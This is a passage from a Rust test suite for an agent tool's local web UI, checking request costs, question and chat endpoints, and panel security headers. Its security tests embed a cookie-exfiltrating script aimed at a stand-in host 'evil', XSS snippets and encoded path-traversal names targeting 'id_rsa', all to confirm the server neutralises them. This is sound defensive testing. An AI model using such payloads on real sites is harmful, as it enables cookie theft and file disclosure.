8282 .await
8283 .unwrap();
8284 std::fs::write(
8285 repo.join("magi.toml"),
8286 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
8287 )
8288 .unwrap();
8289 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
8290 crate::git::git(
8291 &repo,
8292 &[
8293 "-c",
8294 "user.name=fixture",
8295 "-c",
8296 "user.email=fixture@example.invalid",
8297 "commit",
8298 "-m",
8299 "fixture",
8300 ],
8301 )
8302 .await
8303 .unwrap();
8304 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
8305 .await
8306 .unwrap();
8307 crate::git::git(
8308 &repo,
8309 &["remote", "add", "origin", origin.to_str().unwrap()],
8310 )
8311 .await
8312 .unwrap();
8313 crate::git::git(&repo, &["push", "origin", "main"])
8314 .await
8315 .unwrap();
8316 crate::git::git(
8317 &repo,
8318 &[
8319 "symbolic-ref",
8320 "refs/remotes/origin/HEAD",
8321 "refs/remotes/origin/main",
8322 ],
8323 )
8324 .await
8325 .unwrap();
8326 let (cfg, _) = Config::discover(&repo, None).unwrap();
8327 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
8328 repos.push(repo);
8329 }
8330 let repos: [PathBuf; 2] = repos.try_into().unwrap();
8331 (tmp, repos)
8332 }
8333
8334 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
8335 let (tmp, repos) = performance_repositories().await;
8336 let machine = tmp.path().join("machine.toml");
8337 std::fs::write(&machine, "").unwrap();
8338 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
8339 (tmp, repos, fx)
8340 }
8341
8342 fn seed_performance(
8343 fx: &Fixture,
8344 repos: &[PathBuf; 2],
8345 questions: usize,
8346 runs: usize,
8347 items: usize,
8348 ) {
8349 for i in fx.questions().list().len()..questions {
8351 let mut question = Question::new(
8352 "20261001-000000-0000".into(),
8353 "implement".into(),
8354 "impl-A".into(),
8355 format!("question {i}"),
8356 "context".into(),
8357 vec!["yes".into(), "no".into()],
8358 );
8359 question.id = format!("20261003-000000-{i:04x}");
8360 fx.questions().put(&mut question).unwrap();
8361 }
8362 for i in run_ids(&fx.runs()).len()..runs {
8363 write_run_repo(
8364 &fx.runs(),
8365 &format!("20261001-000000-{i:04x}"),
8366 RunStatus::Ready,
8367 repos[i % 2].to_str().unwrap(),
8368 );
8369 }
8370 for i in fx.talks().list().len()..items {
8371 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
8372 let mut talk = fx.talks().get(&id).unwrap();
8373 talk.repo = repos[i % 2].clone();
8374 fx.talks().put(&mut talk).unwrap();
8375 let mut task = crate::queue::Task::new(
8376 format!("task {i}"),
8377 "instruction".into(),
8378 repos[i % 2].clone(),
8379 crate::queue::Source::Agent {
8380 run: id,
8381 node: crate::queue::CHAT_NODE.into(),
8382 },
8383 );
8384 task.id = format!("20261004-000000-{i:04x}");
8385 fx.queue().put(&mut task).unwrap();
8386 if i < crate::notices::CAP {
8388 Notices::at(fx.home.path().join("notifications"))
8389 .raise(Notice::info(&format!("notice-{i}"), "notification"))
8390 .unwrap();
8391 }
8392 }
8393 assert_eq!(fx.questions().list().len(), questions);
8394 assert_eq!(run_ids(&fx.runs()).len(), runs);
8395 assert_eq!(fx.talks().list().len(), items);
8396 assert_eq!(fx.queue().list().len(), items);
8397 assert_eq!(
8398 Notices::at(fx.home.path().join("notifications"))
8399 .list()
8400 .len(),
8401 items.min(crate::notices::CAP)
8402 );
8403 }
8404
8405 fn request_counts(res: &Res) -> (usize, usize) {
8406 assert_eq!(res.status, 200, "{}", res.body);
8407 (
8408 res.header("x-test-discoveries").unwrap().parse().unwrap(),
8409 res.header("x-test-git").unwrap().parse().unwrap(),
8410 )
8411 }
8412
8413 #[tokio::test]
8414 async fn list_request_cost_is_independent_of_record_count() {
8415 let (_tmp, repos, fx) = performance_fixture().await;
8416 let mut previous = None;
8417 for n in [4, 60] {
8418 seed_performance(&fx, &repos, n, n, n);
8419 let mut costs = Vec::new();
8420 for (path, discoveries) in [
8421 ("/api/questions", 1),
8422 ("/api/talks", 2),
8423 ("/api/health", 1),
8424 ("/api/stats", 1),
8425 ] {
8426 for repo in &repos {
8429 let cache = repo.join(".git/magi/config");
8430 if cache.exists() {
8431 std::fs::remove_dir_all(cache).unwrap();
8432 }
8433 }
8434 let cost = request_counts(&fx.get(path).await);
8435 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
8436 assert_eq!(cost.0, discoveries, "{path}, N={n}");
8437 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
8438 costs.push(cost);
8439 }
8440 if let Some(previous) = previous {
8441 assert_eq!(costs, previous);
8442 }
8443 previous = Some(costs);
8444 }
8445 }
8449
8450 #[tokio::test]
8453 async fn list_handler_cost_without_transport() {
8454 let (_tmp, repos) = performance_repositories().await;
8455 let fx = Fixture {
8456 home: TempDir::new().unwrap(),
8457 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
8458 };
8459 let ui = Arc::new(
8460 Ui::new(
8461 fx.queue(),
8462 fx.questions(),
8463 fx.talks(),
8464 fx.runs(),
8465 fx.home.path().to_path_buf(),
8466 repos[0].clone(),
8467 )
8468 .with_worktrees_root(fx.home.path().join("wt")),
8469 );
8470 let mut previous = None;
8471 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
8472 seed_performance(&fx, &repos, n, runs, items);
8473 let mut costs = Vec::new();
8474 for endpoint in ["questions", "talks", "health", "stats"] {
8475 for repo in &repos {
8476 let cache = repo.join(".git/magi/config");
8477 if cache.exists() {
8478 std::fs::remove_dir_all(cache).unwrap();
8479 }
8480 }
8481 let (_, cost) = request_cost::measure(async {
8482 match endpoint {
8483 "questions" => {
8484 let _ = questions_list(State(ui.clone())).await.unwrap();
8485 }
8486 "talks" => {
8487 let _ = talks_list(
8488 State(ui.clone()),
8489 Query(ListQuery {
8490 limit: None,
8491 ids: None,
8492 }),
8493 )
8494 .await
8495 .unwrap();
8496 }
8497 "health" => {
8498 let _ = health(State(ui.clone())).await.unwrap();
8499 }
8500 _ => {
8501 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
8502 .await
8503 .unwrap();
8504 }
8505 }
8506 })
8507 .await;
8508 eprintln!("{endpoint} handler N={n}: {cost:?}");
8509 assert_eq!(
8510 cost.0,
8511 if endpoint == "talks" { 2 } else { 1 },
8512 "{endpoint}"
8513 );
8514 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
8515 costs.push(cost);
8516 }
8517 if let Some(previous) = previous {
8518 assert_eq!(costs, previous);
8519 }
8520 previous = Some(costs);
8521 }
8522 }
8523
8524 #[tokio::test]
8525 async fn list_request_cost_scopes_do_not_mix() {
8526 let (_tmp, repos, fx) = performance_fixture().await;
8527 seed_performance(&fx, &repos, 10, 0, 10);
8528 let (questions, talks, notices) = tokio::join!(
8529 fx.get("/api/questions"),
8530 fx.get("/api/talks"),
8531 fx.get("/api/notifications")
8532 );
8533 assert_eq!(request_counts(&questions).0, 1);
8534 assert_eq!(request_counts(&talks).0, 2);
8535 assert_eq!(request_counts(¬ices), (0, 0));
8536 }
8537
8538 #[tokio::test]
8539 async fn list_endpoints_large_home_ceiling() {
8540 let (_tmp, repos, fx) = performance_fixture().await;
8541 seed_performance(&fx, &repos, 200, 300, 400);
8542 let mut failures = Vec::new();
8543 for path in [
8546 "/",
8547 "/app.js",
8548 "/app.css",
8549 "/api/questions",
8550 "/api/runs?limit=300",
8551 "/api/queue",
8552 "/api/talks",
8553 "/api/notifications",
8554 "/api/health",
8555 "/api/stats",
8556 "/api/loop",
8557 "/api/settings",
8558 "/api/repos",
8559 ] {
8560 let start = std::time::Instant::now();
8561 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
8562 let elapsed = start.elapsed();
8563 eprintln!("{path}: {elapsed:?}");
8564 match result {
8565 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
8566 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
8567 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
8568 }
8569 }
8570 assert!(failures.is_empty(), "{}", failures.join("\n"));
8571 }
8572
8573 struct Res {
8574 status: u16,
8575 headers: String,
8576 head: String,
8581 body: String,
8582 bytes: Vec<u8>,
8586 }
8587
8588 impl Res {
8589 fn json(&self) -> Value {
8590 serde_json::from_str(&self.body)
8591 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
8592 }
8593
8594 fn header(&self, name: &str) -> Option<&str> {
8596 self.head.lines().find_map(|line| {
8597 let (key, value) = line.split_once(':')?;
8598 key.trim()
8599 .eq_ignore_ascii_case(name)
8600 .then(|| value.trim_start().trim_end_matches('\r'))
8601 })
8602 }
8603 }
8604
8605 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
8608 request_with(addr, method, path, body, &[]).await
8609 }
8610
8611 async fn request_with(
8615 addr: SocketAddr,
8616 method: &str,
8617 path: &str,
8618 body: Option<&str>,
8619 extra: &[(&str, &str)],
8620 ) -> Res {
8621 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8622 for (name, value) in extra {
8623 head.push_str(&format!("{name}: {value}\r\n"));
8624 }
8625 if let Some(body) = body {
8626 head.push_str("Content-Type: application/json\r\n");
8627 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
8628 }
8629 head.push_str("\r\n");
8630 if let Some(body) = body {
8631 head.push_str(body);
8632 }
8633 let mut socket = tokio::net::TcpStream::connect(addr)
8634 .await
8635 .expect("connect to the test server");
8636 socket
8637 .write_all(head.as_bytes())
8638 .await
8639 .expect("write request");
8640 let mut raw = Vec::new();
8641 socket.read_to_end(&mut raw).await.expect("read response");
8642 let split = raw
8645 .windows(4)
8646 .position(|w| w == b"\r\n\r\n")
8647 .expect("a header block");
8648 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8649 let bytes = raw[split + 4..].to_vec();
8650 let status = head
8651 .lines()
8652 .next()
8653 .and_then(|line| line.split_whitespace().nth(1))
8654 .and_then(|code| code.parse().ok())
8655 .expect("a status line");
8656 Res {
8657 status,
8658 headers: head.to_lowercase(),
8659 head,
8660 body: String::from_utf8_lossy(&bytes).into_owned(),
8661 bytes,
8662 }
8663 }
8664
8665 async fn request_bytes(
8671 addr: SocketAddr,
8672 path: &str,
8673 headers: &[(&str, &str)],
8674 body: &[u8],
8675 ) -> Res {
8676 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
8677 for (name, value) in headers {
8678 head.push_str(&format!("{name}: {value}\r\n"));
8679 }
8680 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
8681 let mut socket = tokio::net::TcpStream::connect(addr)
8682 .await
8683 .expect("connect to the test server");
8684 socket
8685 .write_all(head.as_bytes())
8686 .await
8687 .expect("write request head");
8688 socket.write_all(body).await.expect("write request body");
8689 let mut raw = Vec::new();
8690 socket.read_to_end(&mut raw).await.expect("read response");
8691 let split = raw
8692 .windows(4)
8693 .position(|w| w == b"\r\n\r\n")
8694 .expect("a header block");
8695 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
8696 let bytes = raw[split + 4..].to_vec();
8697 let status = head
8698 .lines()
8699 .next()
8700 .and_then(|line| line.split_whitespace().nth(1))
8701 .and_then(|code| code.parse().ok())
8702 .expect("a status line");
8703 Res {
8704 status,
8705 headers: head.to_lowercase(),
8706 head,
8707 body: String::from_utf8_lossy(&bytes).into_owned(),
8708 bytes,
8709 }
8710 }
8711
8712 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
8714 let mut state = RunState::new(
8715 PathBuf::from("/repo/magi"),
8716 "main".to_owned(),
8717 "0123456789abcdef".to_owned(),
8718 "Add a web UI\n\nMobile first.".to_owned(),
8719 Config::default(),
8720 );
8721 state.id = id.to_owned();
8722 state.status = status;
8723 let dir = runs.join(id);
8724 std::fs::create_dir_all(&dir).expect("run dir");
8725 std::fs::write(
8726 dir.join("run.json"),
8727 serde_json::to_string_pretty(&state).expect("serialize run"),
8728 )
8729 .expect("write run.json");
8730 }
8731
8732 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
8736 let mut state = RunState::new(
8737 PathBuf::from(repo),
8738 "main".to_owned(),
8739 "0123456789abcdef".to_owned(),
8740 "task".to_owned(),
8741 Config::default(),
8742 );
8743 state.id = id.to_owned();
8744 state.status = status;
8745 let dir = runs.join(id);
8746 std::fs::create_dir_all(&dir).expect("run dir");
8747 std::fs::write(
8748 dir.join("run.json"),
8749 serde_json::to_string_pretty(&state).expect("serialize run"),
8750 )
8751 .expect("write run.json");
8752 }
8753
8754 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
8755 let body = serde_json::json!({
8756 "schema": 1,
8757 "pid": 4242,
8758 "started_at": Timestamp::now().to_string(),
8759 "updated_at": updated_at.to_string(),
8760 "idle": false,
8761 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
8762 "completed": 7,
8763 "polls": 143,
8764 });
8765 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
8766 }
8767
8768 fn launch_idle(
8778 _opts: daemon::Opts,
8779 stop: daemon::Stop,
8780 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8781 Box::pin(async move {
8782 while !stop.stopped() {
8783 tokio::time::sleep(Duration::from_millis(2)).await;
8784 }
8785 Ok(())
8786 })
8787 }
8788
8789 fn launch_broken(
8792 _opts: daemon::Opts,
8793 _stop: daemon::Stop,
8794 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8795 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
8800 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
8801 Box::pin(async move {
8802 Err(anyhow::anyhow!(if first {
8803 "publish the daemon status file: read-only file system"
8804 } else {
8805 "the restarted stand-in failed as well"
8806 }))
8807 })
8808 }
8809
8810 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
8817 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
8818
8819 fn launch_knocking_on_the_way_out(
8826 _opts: daemon::Opts,
8827 stop: daemon::Stop,
8828 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
8829 Box::pin(async move {
8830 while !stop.stopped() {
8831 tokio::time::sleep(Duration::from_millis(2)).await;
8832 }
8833 let addr = PARK_KNOCK
8834 .lock()
8835 .expect("park knock")
8836 .expect("the test set an address");
8837 let heard = request(addr, "GET", "/api/health", None).await.status;
8838 *PARK_HEARD.lock().expect("park heard") = Some(heard);
8839 Ok(())
8840 })
8841 }
8842
8843 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
8852 for _ in 0..SETTLE_STEPS {
8853 let view = fx.get("/api/loop").await.json();
8854 if want(&view) {
8855 return view;
8856 }
8857 tokio::time::sleep(Duration::from_millis(10)).await;
8858 }
8859 panic!(
8860 "the loop never settled: {}",
8861 fx.get("/api/loop").await.json()
8862 );
8863 }
8864
8865 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
8867 let store = fx.questions();
8868 let mut q = Question::new(
8869 "20260902-000000-beef".to_owned(),
8870 "implement".to_owned(),
8871 "impl-A".to_owned(),
8872 summary.to_owned(),
8873 "because it matters".to_owned(),
8874 choices.iter().map(|c| (*c).to_owned()).collect(),
8875 );
8876 store.put(&mut q).expect("put question");
8877 q.id
8878 }
8879
8880 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
8886 let store = fx.questions();
8887 let mut q = Question::new(
8888 "20260902-000000-beef".to_owned(),
8889 "land".to_owned(),
8890 "fix".to_owned(),
8891 "Merge this?".to_owned(),
8892 "the diff is in the panel".to_owned(),
8893 vec!["merge".to_owned(), "hold".to_owned()],
8894 );
8895 let staging = fx.home.path().join("staging");
8898 std::fs::create_dir_all(&staging).expect("staging dir");
8899 let sources: Vec<PathBuf> = assets
8900 .iter()
8901 .map(|(name, bytes)| {
8902 let path = staging.join(name);
8903 std::fs::write(&path, bytes).expect("write staged asset");
8904 path
8905 })
8906 .collect();
8907 store
8908 .put_panel(&mut q, html, &sources)
8909 .expect("write the panel");
8910 store.put(&mut q).expect("put question");
8911 q.id
8912 }
8913
8914 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
8923 seed_talk_at(&fx.talks(), id, status)
8924 }
8925
8926 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
8927 std::fs::create_dir_all(store.root()).expect("talks dir");
8928 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
8929 .expect("serialize a seat");
8930 let body = serde_json::json!({
8931 "schema": 1,
8932 "id": id,
8933 "repo": "/repo/magi",
8934 "agent": "mock",
8935 "status": status,
8936 "turns": [],
8937 "created_at": Timestamp::now().to_string(),
8938 "updated_at": Timestamp::now().to_string(),
8939 "seat": seat,
8940 });
8941 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
8942 store.get(id).expect("the seeded talk has to be readable");
8943 id.to_owned()
8944 }
8945
8946 #[tokio::test]
8947 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
8948 let fx = Fixture::start().await;
8949 let id = panel(
8950 &fx,
8951 "<h1>Merge?</h1><img src=\"diff.svg\">",
8952 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
8953 );
8954
8955 for path in [
8956 format!("/api/questions/{id}/panel"),
8957 format!("/api/questions/{id}/asset/diff.svg"),
8958 ] {
8959 let res = fx.get(&path).await;
8960 assert_eq!(res.status, 200, "{path}: {}", res.body);
8961 assert_eq!(
8967 res.header("content-security-policy"),
8968 Some(
8969 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
8970 font-src data:; base-uri 'none'; form-action 'none'; \
8971 frame-ancestors 'self'"
8972 ),
8973 "{path} is the only thing between a hostile panel and the tailnet"
8974 );
8975 assert_eq!(
8976 res.header("x-content-type-options"),
8977 Some("nosniff"),
8978 "{path}: a browser must not re-decide the type we sent"
8979 );
8980 assert_eq!(
8981 res.header("referrer-policy"),
8982 Some("no-referrer"),
8983 "{path}: a panel must not leak the question id off the machine"
8984 );
8985
8986 let pre = fx.head(&path).await;
8991 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
8992 assert_eq!(
8993 pre.header("content-security-policy"),
8994 res.header("content-security-policy"),
8995 "{path}: the preflight carries the same policy"
8996 );
8997 assert_eq!(
8998 pre.header("content-type"),
8999 res.header("content-type"),
9000 "{path}: the preflight carries the same type"
9001 );
9002 }
9003 }
9004
9005 #[tokio::test]
9006 async fn a_panel_reaches_the_browser_byte_for_byte() {
9007 let fx = Fixture::start().await;
9008 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
9013 let id = panel(&fx, html, &[]);
9014
9015 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
9016
9017 assert_eq!(res.status, 200);
9018 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
9019 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
9020 assert_eq!(
9021 res.header("content-disposition"),
9022 None,
9023 "the panel itself is rendered in the frame, not downloaded"
9024 );
9025 }
9026
9027 #[tokio::test]
9028 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
9029 let fx = Fixture::start().await;
9030 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
9031 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
9032 let id = panel(
9033 &fx,
9034 "<img src=\"diff.svg\"><img src=\"shot.png\">",
9035 &[("diff.svg", svg), ("shot.png", png)],
9036 );
9037
9038 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
9039 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
9040
9041 assert_eq!(as_svg.status, 200);
9042 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
9043 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
9048
9049 assert_eq!(as_png.status, 200);
9050 assert_eq!(as_png.header("content-type"), Some("image/png"));
9051 assert_eq!(
9052 as_png.header("content-disposition"),
9053 None,
9054 "a raster image has no execution surface, so tapping it still shows it"
9055 );
9056 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
9057 }
9058
9059 #[tokio::test]
9060 async fn an_html_asset_is_never_served_as_html() {
9061 let fx = Fixture::start().await;
9062 let id = panel(
9063 &fx,
9064 "<p>see the notes</p>",
9065 &[
9066 (
9067 "notes.html",
9068 b"<script>fetch('http://evil/'+document.cookie)</script>",
9069 ),
9070 ("hook.js", b"fetch('http://evil/')"),
9071 ("data.json", b"{}"),
9072 ("HEADLINE.TXT", b"plain"),
9073 ],
9074 );
9075
9076 for name in ["notes.html", "hook.js", "data.json"] {
9077 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
9078 assert_eq!(res.status, 200, "{name}: {}", res.body);
9079 assert_eq!(
9084 res.header("content-type"),
9085 Some("application/octet-stream"),
9086 "{name} must not be a type the browser will execute or render"
9087 );
9088 }
9089 let txt = fx
9092 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
9093 .await;
9094 assert_eq!(
9095 txt.header("content-type"),
9096 Some("text/plain; charset=utf-8")
9097 );
9098 }
9099
9100 #[tokio::test]
9101 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
9102 let fx = Fixture::start().await;
9103 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9104 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
9108
9109 for encoded in [
9116 "%2e%2e%2fid_rsa",
9117 "..%2fid_rsa",
9118 "..%5cid_rsa",
9119 "%2e%2e%5cid_rsa",
9120 "diff%00.svg",
9121 "..",
9122 ".hidden",
9123 "%2e%2e%2f%2e%2e%2fid_rsa",
9124 ] {
9125 let res = fx
9126 .get(&format!("/api/questions/{id}/asset/{encoded}"))
9127 .await;
9128 assert_eq!(
9129 res.status, 400,
9130 "`{encoded}` has to be refused by name, not looked up: {}",
9131 res.body
9132 );
9133 assert!(res.json()["error"].is_string(), "{}", res.body);
9134 }
9135
9136 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
9142 let res = fx
9143 .get(&format!("/api/questions/{id}/asset/{literal}"))
9144 .await;
9145 assert_eq!(
9146 res.status, 404,
9147 "`{literal}` must not match the asset route at all: {}",
9148 res.body
9149 );
9150 }
9151 }
9152
9153 #[tokio::test]
9154 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
9155 let fx = Fixture::start().await;
9156 let plain = ask(&fx, "Which backend?", &["SQLite"]);
9157 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
9158
9159 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
9163 assert_eq!(none.status, 404, "{}", none.body);
9164 assert!(none.json()["error"].is_string(), "{}", none.body);
9165 assert_eq!(
9166 fx.head(&format!("/api/questions/{plain}/panel"))
9167 .await
9168 .status,
9169 404,
9170 "the preflight is the only way the client can learn this"
9171 );
9172
9173 let missing = fx
9175 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
9176 .await;
9177 assert_eq!(missing.status, 404, "{}", missing.body);
9178 assert!(missing.json()["error"].is_string(), "{}", missing.body);
9179
9180 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
9182 assert_eq!(
9183 fx.get("/api/questions/nope/asset/diff.svg").await.status,
9184 404
9185 );
9186 }
9187
9188 #[tokio::test]
9189 async fn a_run_with_an_open_question_reads_as_waiting() {
9190 let fx = Fixture::start().await;
9191 let run = "20260902-000000-beef".to_owned();
9192 write_run(&fx.runs(), &run, RunStatus::Implementing);
9193
9194 let before = fx.get("/api/runs").await.json();
9195 assert_eq!(before[0]["waiting"], false, "{before}");
9196
9197 let store = fx.questions();
9198 let mut q = Question::new(
9199 run.clone(),
9200 "implement".to_owned(),
9201 "impl-A".to_owned(),
9202 "Which backend?".to_owned(),
9203 String::new(),
9204 vec!["SQLite".to_owned()],
9205 );
9206 store.put(&mut q).expect("put");
9207
9208 let during = fx.get("/api/runs").await.json();
9209 assert_eq!(during[0]["waiting"], true, "{during}");
9210
9211 q.answer(Answer::Choice("SQLite".to_owned()))
9214 .expect("answer");
9215 store.put(&mut q).expect("put");
9216 let after = fx.get("/api/runs").await.json();
9217 assert_eq!(after[0]["waiting"], false, "{after}");
9218 }
9219
9220 #[tokio::test]
9221 async fn an_open_question_is_listed_and_counted_by_health() {
9222 let fx = Fixture::start().await;
9223 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9224
9225 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9226 let listed = fx.get("/api/questions").await.json();
9227 assert_eq!(listed.as_array().expect("array").len(), 1);
9228 assert_eq!(listed[0]["id"], id);
9229 assert_eq!(listed[0]["status"], "open");
9230 assert_eq!(listed[0]["choices"][1], "Redis");
9231 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9234 }
9235
9236 #[tokio::test]
9237 async fn answering_records_the_choice_and_a_second_answer_conflicts() {
9238 let fx = Fixture::start().await;
9239 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9240 let path = format!("/api/questions/{id}/answer");
9241
9242 let res = fx.post(&path, Some(r#"{"choice":"Redis"}"#)).await;
9243 assert_eq!(res.status, 200, "{}", res.body);
9244 let body = res.json();
9245 assert_eq!(body["status"], "answered");
9246 assert_eq!(body["answer"]["choice"], "Redis");
9247
9248 let again = fx.post(&path, Some(r#"{"choice":"SQLite"}"#)).await;
9252 assert_eq!(again.status, 409, "{}", again.body);
9253 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
9254 }
9255
9256 #[tokio::test]
9257 async fn saying_something_appends_a_turn_without_answering() {
9258 let fx = Fixture::start().await;
9259 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9260 let path = format!("/api/questions/{id}/say");
9261
9262 let res = fx
9263 .post(&path, Some(r#"{"body":"why not Postgres?"}"#))
9264 .await;
9265 assert_eq!(res.status, 200, "{}", res.body);
9266 let body = res.json();
9267 assert_eq!(body["status"], "open", "talking back is not a decision");
9268 assert_eq!(body["answer"], Value::Null);
9269 assert_eq!(body["thread"][0]["who"], "operator");
9270 assert_eq!(body["thread"][0]["body"], "why not Postgres?");
9271 assert_eq!(body["waiting_on_agent"], true);
9272 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
9274 }
9275
9276 #[tokio::test]
9277 async fn consulting_a_question_with_no_chat_is_refused_and_it_stays_open() {
9278 let fx = Fixture::start().await;
9279 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9280
9281 let list = fx.get("/api/questions").await.json();
9282 assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
9283
9284 let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
9285 assert_eq!(res.status, 409, "{}", res.body);
9286 let q = fx.questions().get(&id).unwrap();
9287 assert!(q.status.open());
9288 assert!(q.consult.is_none());
9289 }
9290
9291 #[tokio::test]
9292 async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
9293 let fx = Fixture::start().await;
9294 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9295 let cfg = Config {
9296 agents: vec![crate::config::AgentSpec {
9297 id: "mock".to_owned(),
9298 kind: crate::config::AgentKind::Command,
9299 model: None,
9300 command: vec!["true".to_owned()],
9301 extra_args: Vec::new(),
9302 env: Default::default(),
9303 prompt_delivery: None,
9304 }],
9305 ..Config::default()
9306 };
9307 let talk = crate::talk::begin(
9308 &fx.talks(),
9309 &cfg,
9310 fx.home.path().to_path_buf(),
9311 Some("mock"),
9312 )
9313 .unwrap();
9314 let mut task = Task::new(
9315 "t".to_owned(),
9316 "Do it".to_owned(),
9317 PathBuf::from("/repo/magi"),
9318 Source::Agent {
9319 run: talk.id.clone(),
9320 node: crate::queue::CHAT_NODE.to_owned(),
9321 },
9322 );
9323 task.start("20260902-000000-beef".to_owned());
9324 fx.queue().put(&mut task).unwrap();
9325
9326 let list = fx.get("/api/questions").await.json();
9327 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9328 assert_eq!(
9329 list[0]["choices"],
9330 serde_json::json!(["SQLite", "Redis"]),
9331 "the hand-over is never a choice"
9332 );
9333 fx.questions()
9334 .update(&id, |q| {
9335 q.node = crate::land::APPROVAL_NODE.into();
9336 q.choices = vec!["merge".into(), "hold".into()];
9337 Ok(())
9338 })
9339 .unwrap();
9340 let list = fx.get("/api/questions").await.json();
9341 assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
9342 let _ = id;
9343 }
9344
9345 #[tokio::test]
9346 async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
9347 let fx = Fixture::start().await;
9348 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
9349 fx.questions()
9350 .update(&id, |q| {
9351 q.node = crate::land::APPROVAL_NODE.into();
9352 q.choices = vec!["merge".into(), "hold".into()];
9353 Ok(())
9354 })
9355 .unwrap();
9356 let cfg = Config {
9357 agents: vec![crate::config::AgentSpec {
9358 id: "mock".to_owned(),
9359 kind: crate::config::AgentKind::Command,
9360 model: None,
9361 command: vec!["true".to_owned()],
9362 extra_args: Vec::new(),
